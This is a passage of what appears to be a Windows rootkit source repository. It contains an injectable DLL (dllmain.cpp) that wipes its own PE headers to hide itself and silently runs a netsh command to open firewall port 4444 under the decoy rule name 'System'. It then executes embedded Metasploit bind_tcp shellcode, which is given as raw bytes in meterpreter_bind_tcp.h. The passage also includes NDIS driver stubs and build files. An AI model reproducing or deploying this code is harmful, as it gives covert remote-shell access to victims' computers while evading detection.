0x5a,0x33,0xb4,0x33,0xc5,0x33,0xcb,0x33,0xfa,0x33,0x63,0x34,0x96,0x34,0xb2,0x34,
0xc4,0x34,0xdd,0x34,0xef,0x34,0x22,0x35,0x3e,0x35,0x6d,0x35,0x86,0x35,0x8b,0x35,
0xd9,0x35,0xef,0x35,0xe6,0x36,0x0a,0x37,0x15,0x37,0x46,0x37,0x4b,0x37,0x8b,0x37,
0xac,0x37,0xbe,0x37,0xd9,0x37,0x31,0x38,0x45,0x38,0x71,0x38,0x87,0x38,0x69,0x39,
0x81,0x39,0x93,0x39,0xa6,0x39,0xc0,0x39,0xed,0x39,0xf3,0x39,0x04,0x3a,0x19,0x3a,
0x36,0x3a,0x3d,0x3a,0x50,0x3a,0x6f,0x3a,0x88,0x3a,0x92,0x3a,0x9d,0x3a,0x0f,0x3b,
0x18,0x3b,0x23,0x3b,0x8f,0x3b,0x98,0x3b,0xa3,0x3b,0xdc,0x3b,0xff,0x3b,0x09,0x3c,
0x2a,0x3c,0x34,0x3c,0x4e,0x3c,0x7c,0x3c,0x88,0x3c,0x92,0x3c,0xb0,0x3c,0xba,0x3c,
0xc5,0x3c,0xd7,0x3c,0xdd,0x3c,0xee,0x3c,0xf4,0x3c,0x06,0x3d,0x1b,0x3d,0x30,0x3d,
0x36,0x3d,0x40,0x3d,0x4a,0x3d,0x54,0x3d,0x5e,0x3d,0x68,0x3d,0x72,0x3d,0x7c,0x3d,
0x96,0x3d,0x9b,0x3d,0x17,0x3e,0x44,0x3e,0x8c,0x3e,0xcb,0x3e,0x0c,0x3f,0x6e,0x3f,
0x9b,0x3f,0xd1,0x3f,0x00,0x20,0x00,0x00,0xf4,0x00,0x00,0x00,0x10,0x30,0x51,0x30,
0xba,0x30,0x57,0x31,0x6c,0x31,0x78,0x31,0xbb,0x31,0xc5,0x31,0xe2,0x31,0x09,0x32,
0x1a,0x32,0x21,0x33,0x26,0x33,0x33,0x33,0x45,0x33,0x4e,0x33,0x56,0x33,0x5d,0x33,
0x63,0x33,0xb7,0x34,0xc6,0x34,0x10,0x35,0x27,0x35,0x3d,0x35,0x52,0x35,0x65,0x35,
0x70,0x35,0xb5,0x35,0xc2,0x35,0xda,0x35,0xec,0x35,0x05,0x36,0x16,0x36,0x55,0x36,
0x5b,0x36,0x70,0x36,0x83,0x36,0x89,0x36,0xc8,0x36,0xd7,0x36,0x34,0x37,0x3d,0x37,
0x51,0x37,0x58,0x37,0x5e,0x37,0x6f,0x37,0x7d,0x37,0x82,0x37,0x88,0x37,0x9a,0x37,
0x30,0x3b,0x3e,0x3b,0x6a,0x3b,0x82,0x3b,0xb7,0x3b,0xd1,0x3b,0xe4,0x3b,0xea,0x3b,
0xf0,0x3b,0xf6,0x3b,0xfc,0x3b,0x02,0x3c,0x08,0x3c,0x0e,0x3c,0x14,0x3c,0x1a,0x3c,
0x20,0x3c,0x26,0x3c,0x2c,0x3c,0x32,0x3c,0x38,0x3c,0x3e,0x3c,0x44,0x3c,0x4a,0x3c,
0x50,0x3c,0x56,0x3c,0x5c,0x3c,0x62,0x3c,0x68,0x3c,0x6e,0x3c,0x74,0x3c,0x7a,0x3c,
0x80,0x3c,0x86,0x3c,0x8c,0x3c,0x92,0x3c,0x98,0x3c,0x9e,0x3c,0xa4,0x3c,0xaa,0x3c,
0xb0,0x3c,0xb6,0x3c,0xbc,0x3c,0xc2,0x3c,0xc8,0x3c,0xce,0x3c,0xd4,0x3c,0xda,0x3c,
0xe4,0x3c,0xe8,0x3c,0xf4,0x3c,0xf8,0x3c,0x08,0x3d,0xa4,0x3d,0xa8,0x3d,0xac,0x3d,
0xb0,0x3d,0xb4,0x3d,0xb8,0x3d,0xbc,0x3d,0x97,0x3e,0xaa,0x3e,0xbf,0x3e,0xee,0x3e,
0xfd,0x3e,0x18,0x3f,0xc2,0x3f,0x00,0x00,0x00,0x30,0x00,0x00,0x6c,0x00,0x00,0x00,
0x2d,0x30,0xf8,0x30,0x60,0x31,0x6a,0x31,0x8d,0x31,0xd9,0x31,0xea,0x31,0x00,0x32,
0x16,0x32,0x48,0x32,0x57,0x32,0x74,0x32,0x11,0x36,0x1b,0x36,0x20,0x36,0x2a,0x36,
0x31,0x36,0x38,0x36,0x3f,0x36,0x46,0x36,0x4d,0x36,0x54,0x36,0x5b,0x36,0x62,0x36,
0x69,0x36,0x70,0x36,0x92,0x36,0xa2,0x36,0xff,0x36,0x0f,0x37,0x2c,0x37,0x5d,0x37,
0x6d,0x37,0xa0,0x37,0xd4,0x37,0xe7,0x37,0x17,0x38,0x3b,0x38,0x52,0x38,0x5e,0x38,
0xae,0x38,0xb9,0x38,0xc4,0x38,0xe0,0x38,0xe6,0x38,0xf3,0x38,0x0a,0x39,0x1b,0x39,
0x39,0x39,0x00,0x00,0x00,0x40,0x00,0x00,0x14,0x00,0x00,0x00,0x7e,0x3f,0x91,0x3f,
0xa6,0x3f,0xb7,0x3f,0xd6,0x3f,0xf7,0x3f,0x00,0x50,0x00,0x00,0x58,0x00,0x00,0x00,
0x2e,0x30,0x33,0x30,0x4f,0x30,0x5b,0x30,0x68,0x30,0x6e,0x30,0x78,0x30,0x89,0x30,
0x92,0x30,0xa5,0x30,0xab,0x30,0xbe,0x30,0xc4,0x30,0xd9,0x30,0xe3,0x30,0xe9,0x30,
0xfd,0x30,0x03,0x31,0x18,0x31,0x29,0x31,0x3f,0x31,0x49,0x31,0x63,0x31,0x76,0x31,
0x81,0x31,0x95,0x31,0xd5,0x31,0xe6,0x31,0xfb,0x31,0x0c,0x32,0x15,0x32,0xb4,0x32,
0x76,0x33,0x85,0x33,0x08,0x34,0x52,0x34,0x7c,0x34,0x87,0x34,0xde,0x34,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
================================================
FILE: src/meterpreter/dllmain.cpp
================================================
#include "stdafx.h"
#include "../meterpreter_config.h"
#pragma comment(linker,"/ENTRY:DllMain")
#pragma comment(linker,"/NODEFAULTLIB")
//--------------------------------------------------------------------------------------
DWORD WINAPI ShellcodeThread(LPVOID lpParam)
{
typedef DWORD (WINAPI * SHELLCODE)(void);
SHELLCODE Shellcode = (SHELLCODE)lpParam;
// call shellcode
return Shellcode();
}
//--------------------------------------------------------------------------------------
DWORD WINAPI MainThread(LPVOID lpParam)
{
DWORD dwExit = 0;
DbgMsg(
__FILE__, __LINE__, __FUNCTION__"(): Thread %x:%x started\n",
GetCurrentProcessId(), GetCurrentThreadId()
);
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Adding firewall rule for TCP port %d...\n", LISTEN_PORT);
// add firewall rule to allow connections on meterpreter port
char szCommandLine[MAX_PATH];
wsprintf(szCommandLine, "cmd.exe /C netsh firewall add portopening TCP %d " FIREWALL_RULE_NAME, LISTEN_PORT);
UINT ExitCode = WinExec(szCommandLine, SW_HIDE);
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Done (exit code: %d)\n", ExitCode);
// allocate memory for shellcode
PVOID Buff = VirtualAlloc(NULL, sizeof(PAYLOAD), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (Buff)
{
DbgMsg(
__FILE__, __LINE__, __FUNCTION__"(): Allocated %d bytes for payload at 0x%x\n",
sizeof(PAYLOAD), Buff
);
// copy shellcode
RtlCopyMemory(Buff, PAYLOAD, sizeof(PAYLOAD));
// run payload in separate thread
HANDLE hThread = CreateThread(NULL, 0, ShellcodeThread, Buff, 0, NULL);
if (hThread)
{
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
else
{
DbgMsg(__FILE__, __LINE__, "CreateThread() ERROR %d\n", GetLastError());
}
VirtualFree(Buff, 0, MEM_RELEASE);
}
else
{
DbgMsg(__FILE__, __LINE__, "VirtualAlloc() ERROR %d\n", GetLastError());
}
// delete firewall rule
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Deleting firewall rule...\n");
ExitCode = WinExec("cmd.exe /C netsh advfirewall firewall delete rule name=" FIREWALL_RULE_NAME, SW_HIDE);
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Done (exit code: %d)\n", ExitCode);
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): EXIT\n");
#ifdef _X86_
// free DLL image and exit current thread
__asm
{
push dwExit /* argument for ExitThread() */
push MEM_RELEASE
push 0
push lpParam /* address to free */
push dword ptr [ExitThread] /* ExitThread() as return address from VirtualFree() */
mov eax, dword ptr [VirtualFree]
jmp eax
}
#else // _X86_
#error __FUNCTION__ is x86 only
#endif // _X86_
return dwExit;
}
//--------------------------------------------------------------------------------------
void my_memset(void *mem, unsigned char val, size_t size)
{
for (size_t i = 0; i < size; i++)
{
((unsigned char *)mem)[i] = i;
}
for (size_t i = 0; i < size; i++)
{
((unsigned char *)mem)[i] ^= i;
((unsigned char *)mem)[i] += val;
}
}
//--------------------------------------------------------------------------------------
BOOL APIENTRY DllMain(
HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
char szProcessPath[MAX_PATH], szProcessUser[MAX_PATH];
DWORD dwUserLen = MAX_PATH;
GetModuleFileName(GetModuleHandle(NULL), szProcessPath, MAX_PATH);
GetUserName(szProcessUser, &dwUserLen);
DbgMsg(
__FILE__, __LINE__, __FUNCTION__"(): Injected into process \"%s\" (PID=%d), User = \"%s\"\n",
szProcessPath, GetCurrentProcessId(), szProcessUser
);
PIMAGE_NT_HEADERS32 pHeaders = (PIMAGE_NT_HEADERS32)
((PUCHAR)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew);
DWORD dwOldProt = 0;
if (VirtualProtect(hModule, pHeaders->OptionalHeader.SizeOfHeaders, PAGE_READWRITE, &dwOldProt))
{
// erase image headers
my_memset(hModule, 0, pHeaders->OptionalHeader.SizeOfHeaders);
}
// run payload in separate thread
HANDLE hThread = CreateThread(NULL, 0, MainThread, (PVOID)hModule, 0, NULL);
if (hThread)
{
CloseHandle(hThread);
}
else
{
DbgMsg(__FILE__, __LINE__, "CreateThread() ERROR %d\n", GetLastError());
}
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
{
break;
}
}
return TRUE;
}
//--------------------------------------------------------------------------------------
void Dummy(void)
{
MessageBox(0, "<OK> to exit...", __FUNCTION__"()", MB_ICONINFORMATION);
ExitProcess(0);
}
//--------------------------------------------------------------------------------------
// EoF
================================================
FILE: src/meterpreter/meterpreter.cpp
================================================
// meterpreter.cpp : Defines the exported functions for the DLL application.
//
#include "stdafx.h"
================================================
FILE: src/meterpreter/meterpreter.def
================================================
EXPORTS
Dummy
================================================
FILE: src/meterpreter/meterpreter.vcproj
================================================
<?xml version="1.0" encoding="windows-1251"?>
<VisualStudioProject
ProjectType="Visual C++"
Version="9,00"
Name="meterpreter"
ProjectGUID="{07D07B92-3F3F-4054-B224-E9D8324F1FAD}"
RootNamespace="meterpreter"
Keyword="Win32Proj"
TargetFrameworkVersion="196613"
>
<Platforms>
<Platform
Name="Win32"
/>
</Platforms>
<ToolFiles>
</ToolFiles>
<Configurations>
<Configuration
Name="Debug|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="2"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
AdditionalOptions="/D "DBG""
Optimization="3"
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;METERPRETER_EXPORTS"
MinimalRebuild="true"
BasicRuntimeChecks="0"
RuntimeLibrary="0"
BufferSecurityCheck="false"
UsePrecompiledHeader="2"
WarningLevel="3"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
AdditionalOptions="/DEF:meterpreter.def"
OutputFile="$(OutDir)\..\$(ProjectName)_debug.dll"
LinkIncremental="1"
GenerateManifest="false"
GenerateDebugInformation="true"
SubSystem="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
CommandLine="post_build.bat"
/>
</Configuration>
<Configuration
Name="Release|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="1"
WholeProgramOptimization="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
EnableIntrinsicFunctions="true"
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;METERPRETER_EXPORTS"
RuntimeLibrary="2"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="2"
WarningLevel="3"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="1"
GenerateDebugInformation="true"
SubSystem="2"
OptimizeReferences="2"
EnableCOMDATFolding="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
</Configurations>
<References>
</References>
<Files>
<Filter
Name="Source Files"
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
>
<File
RelativePath="..\common\debug.cpp"
>
</File>
<File
RelativePath=".\dllmain.cpp"
>
<FileConfiguration
Name="Debug|Win32"
>
<Tool
Name="VCCLCompilerTool"
UsePrecompiledHeader="0"
CompileAsManaged="0"
/>
</FileConfiguration>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
UsePrecompiledHeader="0"
CompileAsManaged="0"
/>
</FileConfiguration>
</File>
<File
RelativePath=".\meterpreter.cpp"
>
</File>
<File
RelativePath=".\stdafx.cpp"
>
<FileConfiguration
Name="Debug|Win32"
>
<Tool
Name="VCCLCompilerTool"
UsePrecompiledHeader="1"
/>
</FileConfiguration>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
UsePrecompiledHeader="1"
/>
</FileConfiguration>
</File>
</Filter>
<Filter
Name="Header Files"
Filter="h;hpp;hxx;hm;inl;inc;xsd"
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
>
<File
RelativePath="..\common\debug.h"
>
</File>
<File
RelativePath=".\stdafx.h"
>
</File>
<File
RelativePath=".\targetver.h"
>
</File>
</Filter>
<Filter
Name="Resource Files"
Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
>
</Filter>
</Files>
<Globals>
</Globals>
</VisualStudioProject>
================================================
FILE: src/meterpreter/post_build.bat
================================================
@echo off
if exist ..\meterpreter_debug.dll ..\bin2c.exe ..\meterpreter_debug.dll dll > ..\includes\meterpreter_debug.dll.h
if exist ..\meterpreter.dll ..\bin2c.exe ..\meterpreter.dll dll > ..\includes\meterpreter.dll.h
pause
================================================
FILE: src/meterpreter/stdafx.cpp
================================================
// stdafx.cpp : source file that includes just the standard includes
// meterpreter.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
================================================
FILE: src/meterpreter/stdafx.h
================================================
#pragma once
#include "targetver.h"
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
#include <windows.h>
#include "../common/debug.h"
================================================
FILE: src/meterpreter/targetver.h
================================================
#pragma once
// The following macros define the minimum required platform. The minimum required platform
// is the earliest version of Windows, Internet Explorer etc. that has the necessary features to run
// your application. The macros work by enabling all features available on platform versions up to and
// including the version specified.
// Modify the following defines if you have to target a platform prior to the ones specified below.
// Refer to MSDN for the latest info on corresponding values for different platforms.
#ifndef WINVER // Specifies that the minimum required platform is Windows Vista.
#define WINVER 0x0600 // Change this to the appropriate value to target other versions of Windows.
#endif
#ifndef _WIN32_WINNT // Specifies that the minimum required platform is Windows Vista.
#define _WIN32_WINNT 0x0600 // Change this to the appropriate value to target other versions of Windows.
#endif
#ifndef _WIN32_WINDOWS // Specifies that the minimum required platform is Windows 98.
#define _WIN32_WINDOWS 0x0410 // Change this to the appropriate value to target Windows Me or later.
#endif
#ifndef _WIN32_IE // Specifies that the minimum required platform is Internet Explorer 7.0.
#define _WIN32_IE 0x0700 // Change this to the appropriate value to target other versions of IE.
#endif
================================================
FILE: src/meterpreter_bind_tcp.h
================================================
/*
* windows/meterpreter/bind_tcp - 298 bytes (stage 1)
* http://www.metasploit.com
* VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=thread,
* AutoLoadStdapi=true, InitialAutoRunScript=, AutoRunScript=,
* AutoSystemInfo=true, EnableUnicodeEncoding=true
*/
unsigned char bind_tcp_stage_1[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31"
"\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2"
"\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53"
"\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d"
"\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
"\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
"\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3";
================================================
FILE: src/meterpreter_config.h
================================================
/**
* Payload that should use to build DLL for injection
* into the user-mode process.
*/
#include "meterpreter_bind_tcp.h"
#define PAYLOAD bind_tcp_stage_1
#define LISTEN_PORT 4444
#define FIREWALL_RULE_NAME "System"
================================================
FILE: src/rootkit.sln
================================================
Microsoft Visual Studio Solution File, Format Version 10.00
# Visual Studio 2008
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "rootkit_installer", "rootkit_installer\rootkit_installer.vcproj", "{8A5187B5-EA41-4C34-8D5B-4213A281AAFB}"
ProjectSection(ProjectDependencies) = postProject
{3EEAAF60-1BCB-4114-8B75-168421CD9253} = {3EEAAF60-1BCB-4114-8B75-168421CD9253}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "rootkit_driver", "rootkit_driver\rootkit_driver.vcproj", "{3EEAAF60-1BCB-4114-8B75-168421CD9253}"
ProjectSection(ProjectDependencies) = postProject
{07D07B92-3F3F-4054-B224-E9D8324F1FAD} = {07D07B92-3F3F-4054-B224-E9D8324F1FAD}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "meterpreter", "meterpreter\meterpreter.vcproj", "{07D07B92-3F3F-4054-B224-E9D8324F1FAD}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{8A5187B5-EA41-4C34-8D5B-4213A281AAFB}.Debug|Win32.ActiveCfg = Debug|Win32
{8A5187B5-EA41-4C34-8D5B-4213A281AAFB}.Debug|Win32.Build.0 = Debug|Win32
{8A5187B5-EA41-4C34-8D5B-4213A281AAFB}.Release|Win32.ActiveCfg = Release|Win32
{8A5187B5-EA41-4C34-8D5B-4213A281AAFB}.Release|Win32.Build.0 = Release|Win32
{3EEAAF60-1BCB-4114-8B75-168421CD9253}.Debug|Win32.ActiveCfg = Debug|Win32
{3EEAAF60-1BCB-4114-8B75-168421CD9253}.Debug|Win32.Build.0 = Debug|Win32
{3EEAAF60-1BCB-4114-8B75-168421CD9253}.Release|Win32.ActiveCfg = Release|Win32
{3EEAAF60-1BCB-4114-8B75-168421CD9253}.Release|Win32.Build.0 = Release|Win32
{07D07B92-3F3F-4054-B224-E9D8324F1FAD}.Debug|Win32.ActiveCfg = Debug|Win32
{07D07B92-3F3F-4054-B224-E9D8324F1FAD}.Debug|Win32.Build.0 = Debug|Win32
{07D07B92-3F3F-4054-B224-E9D8324F1FAD}.Release|Win32.ActiveCfg = Release|Win32
{07D07B92-3F3F-4054-B224-E9D8324F1FAD}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
================================================
FILE: src/rootkit_driver/bogusproto.cpp
================================================
#include "stdafx.h"
// NDIS version: 5.1
#define NDIS51 1
extern "C"
{
#include <ndis.h>
}
NDIS_HANDLE m_hBogusProtocol = NULL;
//--------------------------------------------------------------------------------------
VOID OnBindAdapter(
PNDIS_STATUS Status,
NDIS_HANDLE BindContext,
PNDIS_STRING DeviceNAme,
PVOID SystemSpecific1,
PVOID SystemSpecific2)
{
/*
This function is a required driver function to support Plug and Play.
*/
#ifdef DBG_NDIS_PROT
DbgMsg(__FUNCTION__"() called\n");
#endif
}
//--------------------------------------------------------------------------------------
VOID OnOpenAdapterComplete(
NDIS_HANDLE ProtocolBindingContext,
NDIS_STATUS Status,
NDIS_STATUS OpenErrorStatus)
{
/*
This function is a required driver function that completes processing of a binding
operation for which NdisOpenAdapter returned NDIS_STATUS_PENDING.
*/
#ifdef DBG_NDIS_PROT
DbgMsg(__FUNCTION__"() called\n");
#endif
}
//--------------------------------------------------------------------------------------
VOID OnUnbindAdapter(
PNDIS_STATUS Status,
NDIS_HANDLE ProtocolBindingContext,
NDIS_HANDLE UnbindContext)
{
/*
This function is a required function to support Plug and Play.
*/
#ifdef DBG_NDIS_PROT
DbgMsg(__FUNCTION__"() called\n");
#endif
}
//--------------------------------------------------------------------------------------
VOID OnUnload(VOID)
{
#ifdef DBG_NDIS_PROT
DbgMsg(__FUNCTION__"() called\n");
#endif
}
//--------------------------------------------------------------------------------------
VOID OnCloseAdapterComplete(
NDIS_HANDLE ProtocolBindingContext,
NDIS_STATUS Status)
{
/*
This function is a required driver function that completes processing for an unbinding
operation for which NdisCloseAdapter returned NDIS_STATUS_PENDING.
*/
#ifdef DBG_NDIS_PROT
DbgMsg(__FUNCTION__"() called\n");
#endif
}
//--------------------------------------------------------------------------------------
VOID OnResetComplete(
NDIS_HANDLE ProtocolBindingContext,
NDIS_STATUS Status)
{
/*
This function is a required driver function that completes a protocol-initiated reset
operation for which NdisReset returned NDIS_STATUS_PENDING.
*/
#ifdef DBG_NDIS_PROT
DbgMsg(__FUNCTION__"() called\n");
#endif
}
//--------------------------------------------------------------------------------------
VOID OnRequestComplete(
NDIS_HANDLE ProtocolBindingContext,
PNDIS_REQUEST NdisRequest,
NDIS_STATUS Status)
{
/*
This function is a required driver function that completes the processing of a
protocol-initiated query or set for which NdisRequest returned NDIS_STATUS_PENDING.
*/
#ifdef DBG_NDIS_PROT
DbgMsg(__FUNCTION__"() called\n");
#endif
}
//--------------------------------------------------------------------------------------
VOID OnStatus(
NDIS_HANDLE ProtocolBindingContext,
NDIS_STATUS GeneralStatus,
PVOID StatusBuffer,
UINT StatusBufferSize)
{
/*
This function is a required driver function that handles status-change notifications
raised by an underlying connectionless network adapter driver or by NDIS.
*/
#ifdef DBG_NDIS_PROT
DbgMsg(__FUNCTION__"() called\n");
#endif
}
//--------------------------------------------------------------------------------------
VOID OnStatusComplete(NDIS_HANDLE ProtocolBindingContext)
{
/*
This function is a required driver function that completes a status-change operation
initiated when the underlying driver called NdisMIndicateStatus.
*/
#ifdef DBG_NDIS_PROT
DbgMsg(__FUNCTION__"() called\n");
#endif
}
//--------------------------------------------------------------------------------------
VOID OnSendComplete(
NDIS_HANDLE ProtocolBindingContext,
PNDIS_PACKET Packet,
NDIS_STATUS Status)
{
/*
This function is a required driver function that completes the processing of a
protocol-initiated send previously passed to NdisSendPackets or NdisSend, which
returned NDIS_STATUS_PENDING.
*/
#ifdef DBG_NDIS_PROT
DbgMsg(__FUNCTION__"() called\n");
#endif
}
//--------------------------------------------------------------------------------------
VOID OnTransferDataComplete(
NDIS_HANDLE ProtocolBindingContext,
PNDIS_PACKET Packet,
NDIS_STATUS Status,
UINT BytesTransferred)
{
/*
This function is a required driver function if the protocol might bind itself to an
underlying connectionless network adapter driver that does not indicate full-packet
receives with NdisMIndicateReceivePacket. ProtocolTransferDataComplete completes the
processing of a protocol-initiated transfer-data request for which NdisTransferData
returned NDIS_STATUS_PENDING.
*/
#ifdef DBG_NDIS_PROT
DbgMsg(__FUNCTION__"() called\n");
#endif
}
//--------------------------------------------------------------------------------------
NDIS_STATUS OnReceive(
NDIS_HANDLE ProtocolBindingContext,
NDIS_HANDLE MacReceiveContext,
PVOID HeaderBuffer,
UINT HeaderBufferSize,
PVOID LookAheadBuffer,
UINT LookAheadBufferSize,
UINT PacketSize)
{
/*
This function is a required driver function in NDIS protocols that bind themselves
to connectionless network adapter drivers. ProtocolReceive determines whether a received
network packet is of interest to the protocol's clients and, if so, copies the indicated
data and, possibly, calls NdisTransferData to retrieve the rest of the indicated packet.
*/
#ifdef DBG_NDIS_PROT
DbgMsg(__FUNCTION__"() called\n");
#endif
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------------------------
VOID OnReceiveComplete(NDIS_HANDLE ProtocolBindingContext)
{
/*
This function is a required driver function in any protocol. ProtocolReceiveComplete
completes post-processing of one or more preceding receive indications from a network
adapter driver.
*/
#ifdef DBG_NDIS_PROT
DbgMsg(__FUNCTION__"() called\n");
#endif
}
//--------------------------------------------------------------------------------------
INT OnReceivePacket(
NDIS_HANDLE ProtocolBindingContext,
PNDIS_PACKET Packet)
{
/*
ProtocolReceivePacket is an optional driver function that processes receive indications
made by underlying connectionless NIC driver(s) that call either NdisMIndicateReceivePacket
with packet arrays because the underlying driver supports multipacket receive indications
or with individual packets that have associated out-of-band information. A call to
ProtocolReceivePacket can also occur as a result of loopback.
*/
#ifdef DBG_NDIS_PROT
DbgMsg(__FUNCTION__"() called\n");
#endif
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------------------------
NDIS_STATUS OnPnPHandler(
NDIS_HANDLE ProtocolBindingContext,
PNET_PNP_EVENT pNetPnPEvent)
{
#ifdef DBG_NDIS_PROT
DbgMsg(__FUNCTION__"() called\n");
#endif
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------------------------
NDIS_STATUS OnPnPNetEventReconfigure(
ULONG pAdapt,
PNET_PNP_EVENT pNetPnPEvent)
{
#ifdef DBG_NDIS_PROT
DbgMsg(__FUNCTION__"() called\n");
#endif
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------------------------
NDIS_STATUS OnPnPNetEventSetPower(
ULONG pAdapt,
PNET_PNP_EVENT pNetPnPEvent)
{
#ifdef DBG_NDIS_PROT
DbgMsg(__FUNCTION__"() called\n");
#endif
return STATUS_SUCCESS;
}
